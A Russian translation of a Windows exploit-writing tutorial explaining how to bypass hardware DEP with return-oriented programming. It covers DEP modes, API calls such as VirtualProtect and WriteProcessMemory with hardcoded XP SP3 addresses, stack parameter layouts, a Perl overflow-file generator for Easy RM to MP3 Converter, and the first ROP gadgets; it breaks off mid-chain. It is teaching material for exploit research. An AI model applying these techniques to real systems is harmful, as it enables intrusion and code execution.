Перейти к содержанию
Введение
Около 3 месяцев после окончания моего предыдущего Exploit writing tutorial part 9: Introduction to Win32 shellcoding, я, наконец, нашел время и свежую энергию, чтобы начать писать новую статью.
В предыдущих уроках, я объяснил основы переполнение стека и как они могут привести к выполнению произвольного кода. Я обсуждал о прямом RET переполнении, эксплоиты основанные на SEH, Unicode и другие Exploiting Ken Ward Zipper: Taking advantage of payload conversion, использование плагинов отладчика для ускорения разработки эксплойтов, как обойти механизмы защиты и как написать свой собственный шелл-код.
В то время как первые туториалы были написанны чтобы позволить людям узнать об основах разработки эксплойтов, начиная с нуля (в основном в отношении людей, которые не имеют каких-либо знаний о разработки эксплойтов), вы, скорее всего, обнаружили, что более поздние туториалы продолжают строиться на тех же основах и требует глубоких знаний ASM, творческого мышления и некоторый опыт работы написания эксплойтов в целом.
Сегодняшний туториал ничем не отличается. Я буду продолжать строить на всем, что мы видели и узнали в предыдущих уроках. Это имеет несколько последствий:
- Вам действительно нужно освоить технику на основе переполнения стека (прямой RET, SEH, и т.д.). Я буду считать, что вы это умеете.
- Вы должны иметь * некоторые * знания asm. Не волнуйтесь. Даже если ваши знания ограничиваются тем что вы в состоянии понять, что делать определенные инструкции, вы, вероятно, поймете это туториал. Но если вы хотите, чтобы построить свои собственные ROP exploits, вы должны уметь написать ассемблерный код, когда вам нужно сделать определенную задачу. В некотором смысле, и в определенной степени, можно сравнить написание ROP chain(цепь) с написанием шелл-кода, так что я думаю, что требуемый уровень asm вы должны иметь.
- Вы должны знать, как работать с Immunity Debugger. Установка точек останова, пошагового инструкции, изменять значения в регистрах и в стеке.
- Вы должны знать, как работает стек, как данные могут быть помещены в стек, берутся из стека, как работают регистры и как вы можете взаимодействовать с регистрами и стеком в целом. Это действительно необходимо, прежде чем начать создавать ROP.
- Если вы не овладели техникой эксплуатации на основе стека, то этот документ не для вас. Я постараюсь объяснить и документировать все действия, так хорошо, как я могу, но для того, чтобы избежать в конечном итоге очень объемный документ, я буду предпологать что вы знаете как эксплуатировать переполнение стека.
В статье 6 из этой серии учебника, я уже объяснил некоторые методы, чтобы обойти системы защиты памяти. Сегодня я более подробно расскажу об одном из этих механизмов защиты, под названием DEP. (Чтобы быть более конкретным, я буду говорить об оборудовании DEP (NX / XD), и как мы можем обойти его)
Как вы можете прочитать в туториале 6, есть 2 основных вида механизмов защиты ... Прежде всего, есть много методов, которые могут быть введены в действие разработчиком (secure coding, stack cookies ( /GS ), SafeSEH, и т.д.). Большинство компиляторов и линкеров в настоящее время используют большинство из этих функций по умолчанию (кроме, конечно "secure coding"), и это хорошо. Печально, что до сих пор ужасное количество приложений не защищены и опираются на другие механизмы защиты. И я думаю, вы согласитесь, что есть еще много разработчиков, которые не применяют безопасные принципы кодирования для всего кода. И главное (что делает вещи еще хуже), некоторые разработчики начинают полагаться на механизмы защиты ОС (см далее), и просто даже не заботятся о написание безопасного кода.
Это подводит нас ко второму слою защиты, которые являются частью всех последних версиях операционной системы Windows: ASLR (Address Space Layout Randomization) и DEP (Data Execution Prevention).
ASLR рандомизирует стек, кучу (heap), модуль базового адреса, что делает трудно предсказуемым местоположение адреса / памяти, следовательно это усложняет чтобы построить надежные эксплоиты. DEP (я имею в виду аппаратного DEP в этом уроке) будет предотвращать код который будет выполняться в стеке (что мы делали во всех предыдущих уроках).
Сочетание ASLR и DEP, как было доказано весьма эффективна в большинстве случаев (но, как вы узнаете, по-прежнему можно обойти при определенных обстоятельствах).
В небольших приложениях ошибки переполнение буфера не исчезнут вероятно никогда и при компиляции / компоновки защитные механизмы до сих пор не применяется для всех модулей. Так что ASLR и DEP наш "последний рубеж" защиты. ASLR и DEP в настоящее время являются частью всех последних ОС, и обход этих 2 механизма защиты стали важными целями для хакеров и исследователей.
Техника, которая будет использоваться для обхода DEP в этом учебнике не новая техника. Она базируется на основе концепции ret-to-libc или просто "ROP ( Возвратно ориентированного программирования )..
Я уже обсуждал концепцию RET-to-LIBC в учебнике 6, а на самом деле, техника NtSetInformationProcess в уроке 6 является примером ROP.
За последний годы / месяцы, новые векторы, новые способы использования ROP чтобы обойти DEP были задокументированы, в этом учебнике просто собрана вся информация и объясняется, как они могут быть использованы для обхода DEP на системах Win32.
Прежде чем взглянуть на то, что такое DEP, и как это обойти, есть очень важные вещи которые надо иметь в виду:
Во всех предыдущих уроках, наш Шеллкод (в том числе выравнивание кода и т.д.) был помещен где-то на стеке или куче, и мы пытались построить надежные способы, чтобы перейти к этому коду и выполнить его.
При включеном аппаратном DEP, вы не можете выполнить инструкцию в стеке. Вы все еще можете положить или вытащить данные из стека, но вы не можете выполнить код из стека, только в обход отключив DEP в первую очередь.
Запомни.
Аппаратный DEP в мире Win32
Аппаратная DEP использует NX ("No Execute page protection", спецификация AMD) или XD ("Execute Disable", спецификация Intel) бит с DEP - совместимыми процессорами, и будет отмечать определенные части памяти (которые должны содержать только данные, такие как кучу, стек, пулы памяти ( memory pools ) ) как неисполняемые.
При попытке выполнить код со страницы данных защищеным DEP, будет происходить нарушение прав доступа (STATUS_ACCESS_VIOLATION (0xc0000005)) . В большинстве случаев, это приведет к прекращению процесса (необработанное исключение). В результате этого, когда разработчик решил, что он хочет, чтобы код выполнялся с определенной страницы памяти, он должен будет выделить память и пометить его как исполняемую.
Поддержка аппаратного DEP была введена в Windows XP SP2 и Windows Server 2003 с пакетом обновления 1 и теперь является частью всех версий операционной системы Windows.
DEP функция на странице каждой виртуальной памяти изменит один бит PTE (Page Table Entry), чтобы отметить определенные области памяти.
Для того, чтобы ОС могла использовать эту функцию, процессор должен быть запущен в режиме PAE (Physical Address Extension). К счастью, в Windows включен PAE по умолчанию. (64bit системы "Address Windowing Extensions" (AWE) , поэтому нет необходимости иметь отдельное ядро PAE в 64bit )
Windows поддерживает четыре варианта настройки DEP на уровне системы. Во всех этих вариантах может использоваться как программная, так и аппаратная реализация DEP:
- OptIn: Только ограниченный набор модулей системы Windows / исполняемые файлы защищены DEP.
- OptOut: Все программы, процессы, службы в системе Windows защищены, кроме тех процессов которые в списке исключений.
- AlwaysOn: Все программы, процессы, службы, и т.д. в системе Windows, защищены. Без исключений
- AlwaysOff: DEP отключена.
Можно еще прочитать тут.
В дополнение к этим 4 режимам, MS реализовала механизм, называемый "Постоянный DEP", который использует SetProcessDEPPolicy (PROCESS_DEP_ENABLE), изменяет политику DEP для текущего процесса. На Vista (и позже), это "постоянный" флаг автоматически устанавливается для всех исполняемых файлов, которые были связаны с параметром / NXCOMPAT. Когда флаг установлен, то изменить DEP политику для этого исполняемого возможно только с использованием метода SetProcessDEPPolicy (см ниже).
Настройки по умолчанию для различных версий операционной системы Windows, являются:
- Windows XP SP2, XP SP3, Vista SP0: OptIn
- Windows Vista SP1: OptIn + Постоянный DEP
- Windows 7: OptIn + Постоянный DEP
- Windows Server 2003 с пакетом обновления 1 и выше: OptOut
- Windows Server 2008 и до: Optout + Постоянный DEP
функция DEP на XP и server 2003 может быть изменена с помощью параметра в файле boot.ini. Просто добавьте следующий параметр в конце файла, который относится к вашей конфигурации загрузки ОС:
(где "policy" может быть OptIn, OptOut, AlwaysOn или AlwaysOff)

Под Vista / Windows 2008 / Windows 7, вы можете изменить настройки, используя команду BCDedit:
Code:
bcdedit.exe /set nx OptIn
bcdedit.exe /set nx OptOut
bcdedit.exe /set nx AlwaysOn
bcdedit.exe /set nx AlwaysOff
Вы можете получить текущее состояние, запустив "Bcdedit" и, посмотреть на значение NX
Некоторые ссылки об аппаратном DEP:
http://support.microsoft.com/kb/875352
http://en.wikipedia.org/wiki/Data_Execution_Prevention
http://msdn.microsoft.com/en-us/libr...53(VS.85).aspx
Обход DEP - Базовые блоки
Как указано в введении, когда аппаратная функция DEP включена, вы не можете просто сделать jump на ваш шеллкод в стеке и выполнить его. Вместо этого, будет инициировано нарушение прав доступа и процесс завершиться.
Более того, каждая конкретная DEP установка (OptIn, OptOut, AlwaysOn, AlwaysOff) и влияние (или отсутствие) Постоянного DEP требует (или даже диктует) особый подход и технику.
Итак, каковы наши варианты?
Ну, поскольку мы не можем выполнить свой собственный код в стеке, единственное, что мы можем сделать, это выполнить существующие инструкции / вызвать существующие функции из загруженных модулей и использовать данные в стеке как параметры этих функций / инструкций.
Эти существующие функции дают нам следующие варианты:
- выполнять команды (WinExec например - классический "ret-to-libc")
- пометить страницу (например, стек), который содержит ваш шелл-код как исполняемую (если это разрешено политикой DEP) и перейти к ней
- скопировать данные в исполняемую область и перейти к ней.(Мы можем выделить памяти и отметить регион как исполняемый)
- изменить DEP настройки для текущего процесса перед запуском шеллкода
Текущая активная DEP политика и настройки, очень много диктуют технику (ки), которую вы должны использовать, чтобы обойти DEP в определенном сценарии.
Методика, которая должна работать все время есть "классический" ret-to-libc. Вы должны будете выполнять простые команды, используя существующие вызовы API Windows (таких, как WinExec).
Нам действительно нужно, чтобы попытаться обойти / отменить / изменить настройки DEP и выполнить наш шелл-код. К счастью, сделать страницу исполняемой, изменение настроек DEP политики / и т.д. может быть сделано с помощью родных API ОС Windows.
Это так просто?
- Да и нет.
Вопрос: Как мы можем получить нужные нам параметры в стеке?
Ответ: С пользовательского кода.
Однако пользовательский код в стеке не может быть выполнен. DEP предотвратит это.
Не веришь мне? Давайте попробуем с нашей старой доброй Easy RM в MP3 Convertor.
Без DEP (OptIn)

С DEP (OptOut)

Как видно в отладчике (с включенным DEP - OptOut), shellcode не выполняется даже если мы сделаем прямой прыжок на точку входа нашего шелл-кода -- Видео

Доверьтесь мне. Даже простой NOP не будут выполнен
The gadget
Вернемся к нашему «пользовательскому коду» . Если выполнение кода из стека не будет работать, мы должны использовать ROP.
Для того, чтобы запустить наш собственный код, в конечном итоге нам надо вызвать функции Windows API. Мы должны использовать существующие инструкции и положить их в таком порядке ("цепь" их вместе), так чтобы они выполнили то, что нам нужно, и поместить данные в регистрах и / или в стеке.
Мы должны построить цепь команд чтобы перейти от одной части цепи к другой части цепи, никогда не выполняя даже одиного бита из нашей DEP защищенной области. Или скажем по другому, мы должны вернуться из одной команды в адрес следующей инструкции (и наконец вернуться к нашему шелл-коду).
Каждая команда (серия инструкций) в нашей цепи ROP будет называться "гаджет". Каждый гаджет будет возвращяться к следующему гаджету (= по адресу следующего гаджета, размещенных в стеке), или будет вызывать следующий адрес напрямую. Таким образом, последовательности команд прикованы вместе. Важно понимать, что мы собираемся построить ROP exploits на основе переполнения стека. Это будет место, где находиться наша полезная нагрузка, так что это "нормально", то что мы будем возвращаться в стек (это скорее всего будет место где цепь запускается, и таким образом, выступает в качестве "вызывающего" ROP цепь)
В его оригинальной работе, Hovav Shacham используется термин "гаджет", когда речь идет о более высоком уровне макросов/фрагменты кода. В настоящее время термин "гаджет" часто используется для обозначения последовательности инструкций, заканчиваюшиеся - RET (которое на самом деле просто подмножество первоначального определение "гаджет"). Важно, чтобы понять эту тонкость, но в то же время я уверен, что вы простите меня, когда я использую "гаджет" в этом руководстве для обозначения набора команд, заканчивающихся RET.
При попытке установить определенный регистр или значение в стеке, вы можете в конечном итоге изменить что-то другое.(прим.ред. Думаю автор статьи хотел сказать, изменить какие-то данные которыми оперировала программа.)
Это не универсальный способ построить ROP exploit, и это несколько разочаровывает. Но я могу гарантировать вам, что некоторая настойчивость и упорство окупится.
Это теория.
Функции Windows, для обхода DEP
Прежде всего, перед тем, как начать писать эксплоит, необходимо определить, какие функции API могут быть использованы, чтобы обойти DEP.
Это наиболее важные функции, которые могут помочь вам обойти / отключить DEP:
VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + копия памяти. Это позволит вам создать новый регион исполняемой памяти, скопировать шелл-код к нее, и выполнить его. Этот метод может потребовать от вас цепи 2-х API's, друг в друге
HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) + HeapAlloc() + копия памяти. В сущности, эта функция будет обеспечивать очень похожую технику как VirtualAlloc(), но может потребовать 3 API's вместе)).
SetProcessDEPPolicy(). Это позволяет изменить политику DEP для текущего процесса (так что вы можете выполнить шеллкод из стека) (Vista SP1, XP SP3, Server 2008, и только тогда, когда DEP Политика установлена в OptIn или OptOut)
NtSetInformationProcess(). Эта функция изменит политику DEP для текущего процесса, так что вы можете выполнить свой шелл-код из стека.
VirtualProtect(PAGE_READ_WRITE_EXECUTE). Эта функция изменит уровень защиты доступа данной страницы памяти, что позволяет отметить место, где находиться ваш шеллкод как исполняемый.
WriteProcessMemory(). Это позволит вам скопировать шелл-код в другое (исполняемое) место, так что вы можете перейти к нему и исполнить шеллкод. Место назначения должно быть доступно для записи и исполнения.
Каждая из этих функций работает со стеком или регистрами которые должны быть созданы спицефически для каждой из них В конце концов, когда API, вызывается, она будет считать, что параметры функции помещены в верхней части стека (= в ESP). Это означает, что ваша основная цель, поместить эти значения в стек надежным способом, без выполнения какого-либо кода из стека.
После создания всей ROP цепи, ваш конечный результат будет, вероятно выглядеть так:

Прямо перед вызовом функции, ESP указывает на функцию Windows API. За указателем непосредственно следуют параметры, которые необходимы для функции.
В то время "RET" инструкция будет прыгать по адресу указанному в ESP.
Выберите ваше оружие

(1) = не существует
(2) = удастся, потому что политика DEP настроена по умолчанию
Не беспокойтесь о том, как применять эти методы, все будет ясно в ближайшее время
Параметры функции и советы по использованию
VirtualAlloc(). Эта функция выделит новую виртуальную память. Один из параметров, на этой функции определяет уровень вновь выделенной памяти, нашей целью является установить это значение EXECUTE_READWRITE- Исполнение, чтение и запись.
http://www.firststeps.ru/mfc/winapi/r.php?113
Code:
LPVOID WINAPI VirtualAlloc(
__in_opt LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect
);
Эта функция должна быть создана в стеке со следующими значениями:
- Return Address - адрес куда функция должна вернуться после того как выполниться
- lpAddress - задает начальный адрес. При этом адрес округляется до ближайшей границы блока размером 64 Кбайт. Это значение можно задать NULL и тогда операционная система сама выберет этот адрес.
- dwSize - Размер памяти в байтах. (вам скорее всего, нужно создать это значение с помощью ROP, если ваш exploit может справиться с нулевыми байтами)
- flAllocationType - Установите 0x1000 (MEM_COMMIT).Нужно для ROP, чтобы создать и записать это значение в стек
- flProtect - Установите 0x40 (EXECUTE_READWRITE). Нужно для ROP, чтобы создать и записать это значение в стек
В Win_XP SP3, эта функция находится по адресу 0x7C809AF1 (kernel32.dll)
Если вызов VirtualAlloc() был успешным, адрес по котрому была выделена память будет сохранен в EAX.
{B]Примечание:[/B] эта функция только выделит новую память. Вы должны будете использовать второй вызов API, чтобы скопировать шеллкод в эту новую область и выполнить его. Так что вам нужна вторая ROP цепь для достижения цели. (В приведенной выше таблице, Return Address должен указывать на вторую ROP цепь. Адрес возврата VirtualAlloc() должен указывать на ROP цепь которая будет копировать ваш шелл-код для вновь выделенного региона и затем перейти к нему)
Для этого вы можете использовать:
- memcpy() (ntdll.dll) – 0x7C901DB3 on XP SP3
- WriteProcessMemory() (см ниже)
Если вы, например, хотите использовать memcpy(), то вы можете использовать оба VirtualAllocate() и memcpy() вместе и выполнить непосредственно друг за другом, используя следующие настройки:
- указатель на функцию memcpy (return address в поле функция VirtualAlloc()). Когда функция VirtualAlloc закаончит выполняться, она возвратится к этому адресу
- lpAddress: произвольный адрес (где выделять новую память. Пример 0x00200000)
- size (насколько велика должна быть новая выделенная память)
- flAllocationType (0x1000: MEM_COMMIT)
- flProtect (0x40: PAGE_EXECUTE_READWRITE)
- Произвольный адрес (то же адрес как lpAddress, этот параметр здесь будет использован для перехода к шеллкод после то как memcpy() вернется). Это поле первый параметр memcpy() функции
- Произвольный адрес (снова, такой де как lpAddress. Здесь параметр будет использоваться как адрес назначения для функции memcpy() ). Это поле второго параметра функции memcpy()
- Адрес шеллкода ( = источник параметра для функции memcpy()). Это будет 3-й параметр для memcpy()
- Size: size parameter for memcpy(). Это последний параметр для memcpy() function
Найти надежный адрес (адрес где можно выделить память) и произвести все параметры в стеке, используя rop.
Когда эта цепочка закончится, вы в конечном итоге исполните код, который был скопирован во вновь выделенную память .
HeapCreate()
http://www.firststeps.ru/mfc/winapi/r.php?120
Code:
HANDLE WINAPI HeapCreate(
__in DWORD flOptions,
__in SIZE_T dwInitialSize,
__in SIZE_T dwMaximumSize
);
Эта функция будет создавать частную кучу, которая может быть использована в нашем экплоите. Пространство будет зарезервировано в виртуальном адресном пространстве процесса.
Когда параметр flOptions установлен в 0x00040000 (HEAP_CREATE_ENABLE_EXECUTE), то все блоки памяти, которые были выделены из этой кучи, позволит выполнить код, даже если DEP включен.
Параметр dwInitialSize должен содержать значение, указывающее начальный размер кучи в байтах. Если вы установите этот параметр в 0, то будет выделена одна страница .
Параметр dwMaximumSize относится к максимальному размеру кучи, в байтах.
Эта функция будет создавать только частную кучу и пометит ее как исполняемую. Вы выделяте память в куче (с HeapAlloc например), а затем копируете шелл-код в эту кучу используя memcpy()
Когда функция возвращает CreateHeap, указатель на вновь созданную кучу будет храниться в EAX. Вам нужно будет это значение, чтобы обратиться с HeapAlloc():
http://www.firststeps.ru/mfc/winapi/r.php?121
Code:
LPVOID WINAPI HeapAlloc(
__in HANDLE hHeap,
__in DWORD dwFlags,
__in SIZE_T dwBytes
);
Когда новая память кучи быдет выделена, вы можете использовать memcpy(), чтобы скопировать шелл-код в выделенную кучу и выполнить его.
На XP SP3, HeapCreate находится по адресу 0x7C812C56. HeapAlloc() находится по адресу 7C8090F6. Обе функции являются частью kernel32.dll
SetProcessDEPPolicy()
https://msdn.microsoft.com/en-us/lib...(v=vs.85).aspx
Работает для: Windows XP SP3, Vista SP1 и Windows 2008.
Для того, чтобы эта функция работала, DEP Политика должна быть установлена в OptIn или OptOut. Если политика настроена на AlwaysOn (или AlwaysOff), то SetProcessDEPPolicy выдаст ошибку. Если модуль связан с / NXCOMPAT, техника не будет работать. Наконец, и это не менее важно, его можно вызвать только для процесса ( т.е. для процесса , для которого пишется эксплоит ) и только один раз. Так что, если эта функция уже вызывалась в текущем процессе (IE8 например, вызывает его, когда начинает работать), то он не будет работать.
Bernardo Damele написал по этой теме: http://bernardodamele.blogspot.com/2...deppolicy.html
Code:
BOOL WINAPI SetProcessDEPPolicy(
__in DWORD dwFlags
);
Эта функция требует один параметр, и этот параметр должен быть установлен в 0, чтобы отключить DEP для текущего процесса.
Для того, чтобы использовать эту функцию в ROP цепи, необходимо настроить стек вроде этого:
- указатель на SetProcessDEPPolicy()
- указатель на Shellcode
- zero
Адрес SetProcessDEPPolicy() в Win_XP SP3 является 7C8622A4 (kernel32.dll)
NtSetInformationProcess()
Работает для: Windows XP, Vista, Windows SP0 2003
Code:
NtSetInformationProcess(
NtCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4
Функции требует 5 параметров в стеке:
- Return address место, где помещается ваш шеллкод
- NtCurrentProcess() Статическое значение, установить 0xFFFFFFFF
- ProcessExecuteFlags Статическое значение, установить 0x22
- &ExecuteFlags Указатель 0x2 ( значение может быть статическим, может быть динамическим ). Этот адрес должен указывать на область памяти, которая содержит 0x00000002
- sizeOf(ExecuteFlags)[/B] Статическое значение, установить 0x4
NtSetInformationProcess не выполнится, если Permanent DEP флаг установлен. В Vista (и позже), этот флаг установлен автоматически для всех исполняемых файлов, связанных с возможностью линкера / NXCOMPAT и (который устанавливает в заголовке PE флаг IMAGE_DLLCHARACTERISTICS_NX_COMPAT ). Техника также не будет работать, если режим DEP политики установлен на AlwaysOn.
Кроме того, вы также можете использовать существующие процедуры в NTDLL (который, по сути, будет делать то же самое, и эти параметры будут установленные для вас автоматически).
В XP SP3, NtSetInformationProcess() находится по адресу 7C90DC9E (ntdll.dll)
Как уже говорилось ранее, я уже объяснил возможный путь, чтобы использовать эту технику в части 6, но я покажу еще один способ использовать эту функцию в сегодняшнем уроке.
VirtualProtect()
http://www.firststeps.ru/mfc/winapi/r.php?30
Функция VirtualProtect изменяет защиту доступа к памяти в вызывающем процессе.
Code:
BOOL WINAPI VirtualProtect(
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flNewProtect,
__out PDWORD lpflOldProtect
);
Чтобы использовать эту функцию, вы должны будете поставить 5 параметров в стек:
- Return address указатель на то место, куда VirtualProtect() должена вернуться. Это будет адрес вашего шеллкода в стеке (динамически созданное значение)
- lpAddress адрес региона для установки флага, атрибуты защиты которого должны быть изменены. В сущности, это будет базовый адрес вашего шеллкода в стеке (динамически созданное значение)
dwsize количество байт (динамически созданное значение, убедитесь, что весь шелл-код будет выполнен. Если шеллкод будет расширяться по некоторым причинам (из-за декодирования например), то эти дополнительные байты должны быть приняты во внимание и учтены.
- flNewProtect вариант, который определяет возможность новой защиты: 0x00000040: PAGE_EXECUTE_READWRITE. Если ваш шеллкод не будет изменять себя (декодироваться, например), то значение 0x00000020 (PAGE_EXECUTE_READ) может также работать
- lpflOldProtect адрес для сохранения старых флагов
Примечание: константы защиты памяти, которые могут быть использованы в VirtualProtect() можно найти здесь
В XP SP3, VirtualProtect() находится по адресу 0x7C801AD4 (kernel32.dll)
WriteProcessMemory()
http://vsokovikov.narod.ru/New_MSDN_...cessmemory.htm
http://msdn.microsoft.com/en-us/libr...74(VS.85).aspx
Техника документирована by Spencer Pratt: http://www.packetstormsecurity.org/p...ws-DEP-WPM.txt
Code:
BOOL WINAPI WriteProcessMemory(
__in HANDLE hProcess,
__in LPVOID lpBaseAddress,
__in LPCVOID lpBuffer,
__in SIZE_T nSize,
__out SIZE_T *lpNumberOfBytesWritten
);
Эта функция позволит вам копировать шелл-код в другую (исполняемую) память, так что вы сможете перейти к ней и выполнить его. Во время копирования, WPM() убедиться что место назначения разрешено для записи. Вы только должны удостовериться, что целевое назначение является исполняемым.
Эта функция требует 6 параметров в стеке:
- Return address Адрес, куда WriteProcessMemory() должен вернуться к после того как будет выполнена
- hProcess Дескриптор процесса. Должно быть = -1, чтобы указать на текущий процесс (Статическое значение 0xFFFFFFFF)
- lpBaseAddress указатель на то место, куда ваш шеллкод должен быть записан . "return address" и "lpBaseAddress" будет такой же.
- lpBuffer начальный адрес вашего шеллкода (генерироваться динамически, адрес в стеке)
- nSize Количество байтов, которые должны быть скопированы в место назначения
- lpNumberOfBytesWritten место для записи , куда будут записаны байты
В XP SP3, WriteProcessMemory() находится по адресу 0x7C802213 (kernel32.dll)
Одна из приятных вещей в WriteProcessMemory() (сокращенно WPM() с этого момента) является то, что вы можете использовать его 2-я способами, чтобы обойти DEP.
* WPM Техника 1: полный WPM() вызов
Вы можете скопировать / написать шеллкод в исполняемое место и перейти к нему. Этот метод требует, чтобы все WPM() параметры были установлены правильно. Возможным примером для XP SP3 будет patching oleaut32.dll (которая загружается во многих приложениях). Oleaut32.dll скорее всего, не будет использоваться в нашем шеллкоде, так что было бы приемлемым, чтобы "повредить" его.
Секция .text oleaut32.dll является R E, начинается с 0x77121000 адреса и имеет размер в 7F000 байт.

Существует проблема с этим подходом. Так как вы будете записывать в область отмеченную как R + E, шеллкод не сможет изменить себя. ( Вызов WriteProcessMemory временно отметит местоположение в качестве Writeable, но удалит уровень снова.) Это означает, что, если вы используете кодированный шелл-код (или шелл-код, который изменяет себя), он не будет работать. Это может быть проблемой из-за плохих символов и т.д.
Нам нужно 2 адреса: один для использования в качестве обратного адреса / адреса назначения, и один, который будет использоваться в качестве writeable location адресом (куда "количество записанных байт" будут записаны ). Таким образом, хороший пример будет выглядеть так:
- Return address 0x77121010
- hProcess 0xFFFFFFFF
- lpBaseAddress 0x77121010
- lpBuffer которые будут созданы
- nSize которые будут созданы
- lpNumberOfBytesWritten 0x77121004
(The lpNumberOfBytesWritten находится перед местом назначения, во избежание того что бы повредить Шеллкод после того как он был скопирован по назначению)
Если вы хотите использовать шеллкод, который использует декодер, вам придется снабдить его вызовом VirtualProtect так, чтобы отметить текущую область как для записи / исполняемую (в зависимости от того куда вы пишете в RE или RW область), прежде чем сработает кодированный шелл-код ..
* WPM Техника 2: Патч WPM() сам по себе
Кроме того, вы также можете "патчить" функцию WPM сами. В основном от вас требуется писать шеллкода в kernel32.dll, перезаписать часть функции WPM. Это позволит решить проблему с закодированным шеллкодом (но имеет ограничение размера, как вы увидите далее)
В XP SP3, функция WPM находится по адресу 0x7C802213

Внутри функции WPM, есть ряд вызовов и прыжков для копирования данных (шеллкод) из стека в место назначения:
- 0x7C802222: call ntdll.ZwProtectVirtualMemory(): этот вызов функции убедиться, что целевое местоположение доступено для записи
- 0x7C802271: call ntdll.ZwWriteVirtualMemory()
- 0x7C80228B: call ntdll.ZwFlushInstructionCache())
- 0x7C8022C9: call ntdll.ZwWriteVirtualMemory()
После вызова последней функции, данные будут скопированы в место назначения.
Когда функция WPM завершит процесс копирования, он возвращается к 0x7C8022CF. Так что может быть хорошее место, чтобы использовать в качестве адреса назначения, потому что будет сидеть в естественном потоке приложения и таким образом выполняться автоматически.

Это имеет несколько последствий:
Параметры: Первый (return address) и последний параметр (указатель на доступный для записи адрес для lpNumberOfBytesWritten) на самом деле не важны. Вы можете просто установить (return address) , например в 0xFFFFFFFF. Хотя Spencer Pratt заявил в своем документе, что lpNumberOfBytesWritten может быть установлен в любое значение (0xDEADBEEF если хотите), оказывается, что этот адрес еще должен указывать на доступное для записи место. В дополнение к этому, адрес назначения (куда шеллкод должен быть занаписан) внутри WPM , сама функция . На XP SP3, это - 0x7C8022CF

Размер: Патчинг функции WPM выглядит красиво, но это может повредить kernel32.dll, если мы пишем слишком далеко. kernel32.dll может быть важен для самого шеллкода. Очень вероятно, что ваш шеллкод будет использовать функции kernel32.dll. Если вы повредите kernel32.dll структуру, ваш шеллкод может не сработать. Так этот метод будет работать для случаев, когда ваш размер Шеллкод ограничен.
Пример стека:
- Return address 0xFFFFFFFF
- hProcess 0xFFFFFFFF
- lpBaseAddress 0x7C8022CF
- lpBuffer to be generated
- nSize to be generated
- [B]lpNumberOfBytesWritten использовать (любой) доступный для записи место, может быть статическим
ROP Exploit транспортабельность
Когда вы начинаете писать ROP эксплоиты, вы, скорее всего будете использовать Win API адреса из native dll-ok Windows. Старайтесь не использовать их, так как ваш эксплоит не бедет работать на другой версии операционной системы Windows.Может быть хорошей идеей проверить вдруг приложение использует функцию, которую вы хотите использовать, чтобы обойти DEP
Если ваш эксплоит использует ссылки на Win API, то было бы хорошо использовать их как гаджеты чтобы построить ROP цепь . Пока мы не имеем дело с ASLR, то все это прекрасно.
Возможный способ узнать можете ли вы использовать API-вызовы внутри приложения или группы приложений, загрузите исполняемый файл в IDA disassembler, и look в раздел " Imports "
Пример: msvcr71.dll в XP SP3
- 7C37A08C: HeapCreate()
- 7C37A07C: HeapAlloc()
- 7C37A094: VirtualAlloc()
- 7C37A140: VirtualProtect()
Из EIP к ROP
Прежде чем мы начнем
В Dino Dai Zovi‘s удивительной работе о ROP, он визуализирует ROP эксплоит компонентов процесса (стр 39) очень хорошо. Для написания ROP эксплоита, вам нужно:
- Опорную точку в стеке
- Используйте ваши гаджеты чтобы настроить стек / регистры (ROP payload)
- Поместить ваш шеллкод
- Выполнить шелл-код

Прямой RET - Версия ROP - VirtualProtect()
Time to ROP ‘n ROLL
Давайте строить наш первый ROP эксплоит.
Мы будем использовать Windows XP SP3 Professional, английский, с DEP в режиме Optout.

В этом примере, я постараюсь построить ROP для Easy RM в MP3 Converter, уязвимого приложения, который был использован ранее в уроке 1.
Примечание: смещения и адреса могут отличаться на вашей системе. Не просто слепо копируйте все из этого учебника,попробуйте сами корректировать адреса, где это необходимо...
Easy RM в MP3 Converter является уязвимым к переполнению буфера при открытии m3u файла, содержащий слишком длинную строку. Используя cyclic pattern, мы обнаруживаем, что EIP, перезаписывается после 26094 байта. Опять же, это смещение на моей системе. Если смещение различны, то измените script соответственно.
Script (Perl) будет выглядеть следующим образом:
Code: Perl
#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "A" x $buffersize;
my $eip="BBBB";
my $rest = "C" x 1000;
my $payload = $junk.$eip.$rest;
print "Payload size: ".length($payload)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
Если наша смещение является правильным, в EIP должено быть BBBB (42424242) ...

И ESP указывает на адрес, который содержит наши "C" (0х43). Пока все хорошо, это типичная прямая RET перезаписать.
Если бы не DEP, мы бы разместить наш шеллкод в ESP (вместо С (0х43)), и перезаписали EIP указателем на JMP ESP. Но мы не можем сделать, потому что шеллкод не будет выполнен из-за DEP.
Таким образом, мы создадим ROP цепь, которая будет использовать функцию VirtualProtect() (kernel32.dll), чтобы изменить уровень защиты доступа страницы памяти, где находится шеллкод, а затем выполнен. Прежде чем вызвать VirtualProtect() , нам нужно поместить в стек нужные значения.
Есть несколько способов сделать это. Мы можем поставить требуемые значения в регистрах, а затем выполнить pushad (который все регистры поместит в стек ). Второй метод положит некоторые из параметров (в статических / те, без нулевых байтов) в стеке , и использовать некоторые ROP гаджеты для расчета других параметров и записать их в стек (с помощью какой-то снайперской техники ).
Мы не можем использовать нулевые байты в файле M3U, потому что Easy RM в MP3 Converter будет обрабатывать данные в файле в виде строки, и прекратит его обрабатывать как только встретит первый нулевой байт. Мы также должны иметь в виду , что должны использовать ограниченный набор символов (мы просто создим закодированный шелл-код, чтобы преодолеть эту проблему)
Достаточно болтовни, давайте начнем.
Как построить цепочку (основы цыпочек)
Наш ROP exploit будет делать следующее:

10026D56: POP EAX + RET: gadget 1
1002DC24: ADD EAX,80 + POP EBX + RET: gadget 2
(второй указатель выполнит POP EBX. Это не нарушит нашу цепь, но она будет иметь влияние на ESP, которые должны быть использованы в следующем ROP гаджете, поэтому мы должны вставить некоторое "заполнение", чтобы компенсировать это)
